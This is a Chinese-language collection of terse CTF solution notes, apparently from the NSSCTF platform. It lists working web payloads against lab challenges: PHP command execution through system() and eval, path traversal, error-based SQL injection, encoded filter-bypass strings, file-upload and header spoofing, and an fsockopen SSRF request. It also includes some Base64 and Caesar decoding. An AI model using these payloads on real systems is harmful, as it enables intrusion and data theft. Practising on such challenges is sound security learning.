f12后ctrl+f找到flag
json_decode()
加密后的格式
$json = '{"a":"php","b":"mysql","c":3}';
json必须双引号传输
构造:GET里json={"x":"wllm"}、POST里id=wllmNB
name=QNKCDZO
password=240610708
url=system('ls /');
?url=system('cat /flllllaaaaaaggggggg');
README.md里面有默认的账号和密码
账号:admin
密码:admin888
flag在phpinfo.php里
user-agent:浏览器名字
x-forwarded-for: 127.0.0.1
上传phtml,修改mime
第二个php文件被解析了,所以需要用伪协议
这里有个stristr函数,应该是防止通过file变量进行file协议读取,所以将file命令过滤掉,无所谓,我们可以直接利用file变量来进行读取文件
这里先介绍一下strstr,stristr,strops的区别,简单来说就是:
strstr 区别大小写,从字符开始找如果有返回true否则就返回false
stristr 字符不区别大小写,从字符开始找如果有返回true否则就返回false
strpos 区别大小写strpos查找成功后则是返回的是位置。因为位置有可能是0,所以判断查找失败使用===false更合适。
文件包含
http://node2.anna.nssctf.cn:28373/ha1x1ux1u.php?file=../../../../../../flag
方法2
?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
总结过滤了单双引号、()、flag
highlight_file可以起到文件读取的作用,而我们第一行代码就有个utils.php的文件包含,所以大胆猜测flag就在这个文件中(当然,我做过肯定是知道就是在里面,不用猜)。
所以接下来我们有两件事情要做,一件事绕过正则是使show_source不为空,另一件事是使basename($_SERVER['PHP_SELF'])值为utils.php,即使$_SERVER['PHP_SELF']为******/utils.php,最后basename这个值就会为utils.php再然后就highlight_file读取到文件。
所以我们要想办法绕/utils\.php\/*$/i 以及/show_source/这个正则匹配,
只要在后面加个非ASCII码的东西就可以绕过。
所以我们用%88或者只要是可以造成乱码的url编码就可以绕过/utils\.php\/*$/i 正则匹配。
/show_source/用show[source或者show.source绕过,这个记住即可。
/index.php/utils.php/%88?show[source=1
可以看到的是没有过滤|这个符号,然后exec执行是没回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
f12-f1
U1hYSFlLe2R0em1mYWpwc3RiaGZqeGZ3fQ==
SXXHYK{dtzmfajpstbhfjxfw}
str_list = list(plaintext)
: 将明文转换为字符列表,方便后续操作。
i = 0
: 初始化循环计数器 i。
while i < len(plaintext):
: 开始循环,遍历明文字符串中的每个字符。
if not str_list[i].isalpha():
: 如果当前字符不是字母,则不进行加密处理,保持原样。
else:
: 如果当前字符是字母,执行以下操作。
a = "A" if str_list[i].isupper() else "a"
: 根据当前字母的大小写,确定基准字母 A 或 a。
str_list[i] = chr((ord(str_list[i]) - ord(a) + 5) % 26 + ord(a) or 5)
: 根据凯撒密码的规则,将当前字母向后移动 5 个位置,并重新计算相应的 ASCII 值,再转换回字符。
i = i + 1
: 更新计数器,进行下一个字符的处理。
return ''.join(str_list)
: 将字符列表转换回字符串并返回加密后的密文。
其他地方不动
导不出数据的试试这个
a = 'E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46'
b = ''
for i in a.split():
x = '%'+i
b += x
print(b)
import re
string = "E280AEE281A620466C616721E281A9E281A64E315341435446"
# 写出正则表达式 任意2个字符
pattern = re.compile('.{2}')
# findall是找到所有的字符,再在字符中添加空格,当然你想添加其他东西当然也可以
print('%'.join(pattern.findall(string)))
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=
TlNTQ1RGe2VlZmQzOWM3LTNiNDMtNDUyMi1hYWNjLWYzMDkxNDNiMzg0ZH0K
死了就有flag
fsockopen — 打开一个网络连接或者一个Unix套接字连接
hostname
如果安装了OpenSSL,那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://,从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。
port
端口号。如果对该参数传一个-1,则表示不使用端口,例如unix://。
errno
如果传入了该参数,holds the system level error number that occurred in the system-level connect() call。
如果
errno
的返回值为0,而且这个函数的返回值为FALSE
,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。
errstr
错误信息将以字符串的信息返回。
timeout
设置连接的时限,单位为秒。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回
FALSE
。
feof — 测试文件指针是否到了文件结束的位置
fgets — 从文件指针中读取一行
length
从
handle
指向的文件中读取一行并返回长度最多为length
- 1 字节的字符串。读取128个字节,可能刚好是flag的长度吧
dirseach扫描可以扫描到flag.php,需要本地访问
我们本地访问他的80端口
host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
eval — 把字符串作为PHP代码执行
?code=printf(`c\at /fffffffffflagafag`);